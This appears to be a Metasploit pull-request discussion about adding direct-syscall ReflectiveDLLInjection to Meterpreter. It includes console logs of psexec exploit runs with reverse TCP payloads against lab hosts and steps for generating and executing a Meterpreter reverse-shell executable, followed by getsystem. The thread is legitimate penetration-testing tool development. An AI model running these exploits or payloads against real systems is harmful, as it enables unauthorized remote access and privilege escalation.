Closed cdelafuente-r7 closed 10 months ago
For what it is worth, while Win 10x64 appears to work, I'm having trouble with Win10x86. I'll dig a bit deeper tomorrow:
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] 10.5.134.199:445 - Connecting to the server...
[*] 10.5.134.199:445 - Authenticating to 10.5.134.199:445 as user 'vagrant'...
[*] 10.5.134.199:445 - Selecting PowerShell target
[*] 10.5.134.199:445 - Executing the payload...
[+] 10.5.134.199:445 - Service start timed out, OK if running a command or non-service executable...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
[*] Sending stage (185926 bytes) to 10.5.134.199
[*] 10.5.134.199 - Meterpreter session 11 closed. Reason: Died
[-] Meterpreter session 11 is not valid and will be closed
^C[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > set rhost 10.5.134.193
rhost => 10.5.134.193
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] 10.5.134.193:445 - Connecting to the server...
[*] 10.5.134.193:445 - Authenticating to 10.5.134.193:445 as user 'vagrant'...
[*] 10.5.134.193:445 - Selecting PowerShell target
[*] 10.5.134.193:445 - Executing the payload...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
[*] Sending stage (185926 bytes) to 10.5.134.193
[+] 10.5.134.193:445 - Service start timed out, OK if running a command or non-service executable...
[-] Meterpreter session 12 is not valid and will be closed
[*] 10.5.134.193 - Meterpreter session 12 closed.
^C[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > set rhost 10.5.134.189
rhost => 10.5.134.189
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] 10.5.134.189:445 - Connecting to the server...
[*] 10.5.134.189:445 - Authenticating to 10.5.134.189:445 as user 'vagrant'...
[*] 10.5.134.189:445 - Selecting PowerShell target
[*] 10.5.134.189:445 - Executing the payload...
[+] 10.5.134.189:445 - Service start timed out, OK if running a command or non-service executable...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
[*] Sending stage (185926 bytes) to 10.5.134.189
[-] Meterpreter session 13 is not valid and will be closed
[*] 10.5.134.189 - Meterpreter session 13 closed.
^C[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.5.134.189 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
s/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass vagrant no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read
/write folder share
SMBUser vagrant no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
Not sure why, but it looks like x86 payloads are failing on Windows 2008x64. The x64 payloads work, and both work on 2008x64 R2.
Thank you @bwatters-r7 for testing. I've updated the ReflectiveDLLInjection
PR and updated the submodule here. this should be good now.
This PR adds the necessary changes to support the direct syscalls version of
ReflectiveDLLInjection
. This is a new implementation based on this first PR. At this time, the related PR inReflectiveDLLInjection
repository is still under review but it is possible to test by updating theReflectiveDLLInjection
submodule reference:Don't forget to
git fetch
/git checkout
again if theReflectiveDLLInjection
branch is updated.Follow the standard documentation to build Meterpreter on Windows and with MinGW.
Testing with MSF
Once the DLL's are built, you need to copy
output/
directory content into the Metasploit Framework'sdata/meterpreter/
directory.Then in MSF console, test Meterpreter payloads (staged and single). For example:
use windows/x64/meterpreter_reverse_tcp
set LHOST <your host IP>
generate -f exe -o direct_syscalls_payload.exe
to_handler
direct_syscalls_payload.exe
to the target and execute it, you should get a session.WARNING: Local file .../data/meterpreter/ext_server_stdapi.x64.dll is being used
getsystem
, etc. without issues.